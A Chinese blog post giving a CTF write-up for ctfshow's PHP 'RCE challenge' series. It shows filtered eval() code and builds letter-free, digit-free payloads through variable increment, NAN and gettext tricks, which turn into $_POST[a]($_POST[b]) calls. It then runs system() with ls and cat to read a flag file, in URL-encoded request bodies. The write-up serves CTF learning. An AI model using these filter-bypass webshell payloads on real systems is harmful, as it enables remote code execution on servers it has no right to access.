ctfshow 每周大挑战 rce挑战1-5

RCE挑战1

RCE挑战2

题目

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

因为过滤了$ctfshow值中的所有数字和字母,考虑变量自增,涉及到PHP的知识点:

<?php
$a = []._;
//$a为“Array_”
echo $a[0];
//会输出:A
$b = $a[0];
echo ++$b;
//会输出:B
?>

因为数字也过滤掉了,变量名可以用下划线替代,$a[0]中的数字0也可以用下划线替代。

<?php
$_ = []._;
echo $_[_];
//输出:A
?>

拼出$_GET[_]($_GET[__]):

$_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]);
$_=[]._;  //此时$_为Array
$_=$_[_];  //取出A赋值给$_
$_++;$_++;$_++;$_++;$__=$_;    //从A开始自增4次到E,把E赋值给$__
$_++;$_++;$___=$_;     //再自增两次到G,把G赋值给$___
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;   $_自增到T
$___=$___.$__.$_;   将GET拼接起来
$_='_'.$___;    将_和GET拼接起来  ,赋值给$_
$$_[_]($$_[__]);   得到$_GET[_]($$_[__]);

因为中间件会解码一次,所以还需要URL全编码一次:

%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B

get传参:

?_=system&__=tac ../../../f1agaaa;

RCE挑战3

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

过滤没有过滤掉0,1,但比上一题多过滤掉了',这里限制了长度为105

然后这个时候考虑的$_GET中的T字符相对GE来说是较靠后的,如果用自增获取会占用很多字符,所以这里可以去尝试构造$_POST,这四个字符相对来说还是挨的比较近的,所以我这里打算构造的语句是$_POST[0]($_POST[1]),接下来我们就可以去构造了。同时我们这里是有数字0的,所以我们这里可以用0/0来获取float(NAN),接下来需要把他转换为字符串,因为这个是无法利用的,然后我们这里可以看到'"都被ban了,所以不能再用,不过我们这里拼接的话,其实随便拼接个什么都可以,我们这里拼接一个下划线也是可以的,所以第一步就有了

<?php
$_=(0/0)._;//NAN
$_=$_[0];//N

这个时候就成功获取到了字符N,接下来就是先进行赋值获取一个_,然后再通过自增获取POST,最终的话得到的payload如下

<?php
$_=(0/0)._;//NAN
$_=$_[0];//N
$_1=++$_;//O  ++$_是先进行自增,而后取值,所以这里$_1就是O
$__=_;//_  首先获取_
$__.=++$_;//_P  通过自增获取P 
$__.=$_1;//_PO  获取O
$_++;//Q 
$_++;//R
$__.=++$_;//_POS 通过自增获取S
$__.=++$_;//_POST  通过自增获取T
$$__[0]($$__[1]);//$_POST[0]($_POST[1])
$_=(0/0)._;$_=$_[0];$_1=++$_;$__=_;$__.=++$_;$__.=$_1;$_++;$_++;$__.=++$_;$__.=++$_;$$__[0]($$__[1]);

payload:(url编码)

ctf_show=%24_%3d(0%2f0)._%3b%24_%3d%24_%5b0%5d%3b%24_1%3d%2b%2b%24_%3b%24__%3d_%3b%24__.%3d%2b%2b%24_%3b%24__.%3d%24_1%3b%24_%2b%2b%3b%24_%2b%2b%3b%24__.%3d%2b%2b%24_%3b%24__.%3d%2b%2b%24_%3b%24%24__%5b0%5d(%24%24__%5b1%5d)%3b&0=system&1=ls ../../../;
ctf_show=%24_%3d(0%2f0)._%3b%24_%3d%24_%5b0%5d%3b%24_1%3d%2b%2b%24_%3b%24__%3d_%3b%24__.%3d%2b%2b%24_%3b%24__.%3d%24_1%3b%24_%2b%2b%3b%24_%2b%2b%3b%24__.%3d%2b%2b%24_%3b%24__.%3d%2b%2b%24_%3b%24%24__%5b0%5d(%24%24__%5b1%5d)%3b&0=system&1=cat ../../../f1agaaa;

RCE挑战4

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are yaou hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这题将字符长度进一步减小了,需要我们将代码进行优化

$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;++$_;++$_;$__=$__.++$_.++$_;$$__[_]($$__[__]);
分析
$_=(_/_._)[0];     // 直接拼接成字符串并切片 得到N
$__=++$_;          // $__=O  p q r s t
$__=_.++$_.$__;    // $__=_PO   $_=P
++$_;++$_;         // $_=R
$__=$__.++$_.++$_; // $__=_POST
$$__[_]($$__[__]); // $_POST[_]($_POST[__]);
url编码
%24_%3d(_%2f_._)%5b0%5d%3b%24__%3d%2b%2b%24_%3b%24__%3d_.%2b%2b%24_.%24__%3b%2b%2b%24_%3b%2b%2b%24_%3b%24__%3d%24__.%2b%2b%24_.%2b%2b%24_%3b%24%24__%5b_%5d(%24%24__%5b__%5d)%3b

payload

ctf_show=%24_%3d(_%2f_._)%5b0%5d%3b%24__%3d%2b%2b%24_%3b%24__%3d_.%2b%2b%24_.%24__%3b%2b%2b%24_%3b%2b%2b%24_%3b%24__%3d%24__.%2b%2b%24_.%2b%2b%24_%3b%24%24__%5b_%5d(%24%24__%5b__%5d)%3b&_=system&__=ls ../../../;
ctf_show=%24_%3d(_%2f_._)%5b0%5d%3b%24__%3d%2b%2b%24_%3b%24__%3d_.%2b%2b%24_.%24__%3b%2b%2b%24_%3b%2b%2b%24_%3b%24__%3d%24__.%2b%2b%24_.%2b%2b%24_%3b%24%24__%5b_%5d(%24%24__%5b__%5d)%3b&_=system&__=cat ../../../f1agaaa;

RCE挑战5

题目

 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这次除了长度再次缩短外,甚至不允许输入数字。输入符合黑名单规则又长度大于73的字符串。

构造payload,尽量把变量和🐎都设置为一个长度的字符,涉及到一个小知识点,PHP的变量名可以用不可见字符,所以URL全编码后我把这里的a都替换成了%FA

$_=(_/_._)[_];//N
$_++;//O
$a=$_.$_++;//PO
$_++;$_++;//R
$a=_.$a.++$_.++$_;//_POST
$$a[_]($$a[a]);
$_=(_/_._)[_];$_++;$a=$_.$_++;$_++;$_++;$a=_.$a.++$_.++$_;$$a[_]($$a[a]);

url全编码后(网上好多在线工具不能全编码,还得自己换几个) 将a替换 a->%FA

%24%5F%3D%28%5F%2F%5F%2E%5F%29%5B%5F%5D%3B%24%5F%2B%2B%3B%24%FA%3D%24%5F%2E%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%FA%3D%5F%2E%24%FA%2E%2B%2B%24%5F%2E%2B%2B%24%5F%3B%24%24%FA%5B%5F%5D%28%24%24%FA%5B%FA%5D%29%3B

最后传payload的时候,需要用bp抓包,hackerbar一直显示报错url解码失败,难绷

payload:

ctf_show=%24%5F%3D%28%5F%2F%5F%2E%5F%29%5B%5F%5D%3B%24%5F%2B%2B%3B%24%FA%3D%24%5F%2E%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%FA%3D%5F%2E%24%FA%2E%2B%2B%24%5F%2E%2B%2B%24%5F%3B%24%24%FA%5B%5F%5D%28%24%24%FA%5B%FA%5D%29%3B&_=system&%FA=ls ../../../

ctf_show=%24%5F%3D%28%5F%2F%5F%2E%5F%29%5B%5F%5D%3B%24%5F%2B%2B%3B%24%FA%3D%24%5F%2E%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%FA%3D%5F%2E%24%FA%2E%2B%2B%24%5F%2E%2B%2B%24%5F%3B%24%24%FA%5B%5F%5D%28%24%24%FA%5B%FA%5D%29%3B&_=system&%FA=cat ../../../flagaaa

限制73个字符,而且0也不可以用了,但是这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_() ,相当于gettext(),直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。其余知识点上面都已经讲过了,剩下的就是靠经验和积累对payload进行精简

<?php
$_=_(_/_)[_];//相当于gettext(0/0)[0],得到N
$_=++$_;//O
$%FA=_.++$_.$_;//_PO
$_++;$_++;//R
$%FA.=++$_.++$_;//_POST
$$_[_]($$_[%FA]);//$_POST[a]($_POST[_])
$_=_(_/_)[_];$_=++$_;$%FA=_.++$_.$_;$_++;$_++;$%FA.=++$_.++$_;$$_[_]($$_[%FA]);
%24%5F%253D%28%255F%2F%29%5B%255F%5D%3B%24%5F%3D%2B%2B%24%5F%3B%24%25FA%3D%255F%2E%2B%2B%24%5F%2E%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%25FA%2E%3D%2B%2B%24%5F%2E%2B%2B%24%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%25FA%5D%29%3B&_=system&%FA=ls

这两位才是真的大佬,比我少了11位,wc,我人看傻了,太厉害了。

<?PHP
$_=_(%FA.%FA)[_];//N  //本地使用就用(_._._)[_],或者安装了一个扩展gettext
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])
//将拼接放到同一行,真的太厉害了,我只能感叹一句nb

不可见字符:

%00 %01 %02 %03 %04 %05 %06 %07 %08 %09 %0A %0B %0C %0D %0E %0F %10 %11 %12 %13 %14 %15 %16 %17 %18 %19 %1A %1B %1C %1D %1E %1F + %21 %24 %27 %28 %29 %2B %2C . %2F %3B %3D %5B %5D _ %7F %80 %81 %82 %83 %84 %85 %86 %87 %88 %89 %8A %8B %8C %8D %8E %8F %90 %91 %92 %93 %94 %95 %96 %97 %98 %99 %9A %9B %9C %9D %9E %9F %A0 %A1 %A2 %A3 %A4 %A5 %A6 %A7 %A8 %A9 %AA %AB %AC %AD %AE %AF %B0 %B1 %B2 %B3 %B4 %B5 %B6 %B7 %B8 %B9 %BA %BB %BC %BD %BE %BF %C0 %C1 %C2 %C3 %C4 %C5 %C6 %C7 %C8 %C9 %CA %CB %CC %CD %CE %CF %D0 %D1 %D2 %D3 %D4 %D5 %D6 %D7 %D8 %D9 %DA %DB %DC %DD %DE %DF %E0 %E1 %E2 %E3 %E4 %E5 %E6 %E7 %E8 %E9 %EA %EB %EC %ED %EE %EF %F0 %F1 %F2 %F3 %F4 %F5 %F6 %F7 %F8 %F9 %FA %FB %FC %FD %FE %FF

参考wp

[CTF.SHOW]RCE极限挑战 – 「配枪朱丽叶。」 (shawroot.cc)

[从CTFShowRCE挑战]中学习无字母数字构造webshell - 先知社区 (aliyun.com)

CTFSHOW每周大挑战——RCE篇_rce挑战1-CSDN博客

posted @   Sol_9  阅读(156)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
点击右上角即可分享
微信分享提示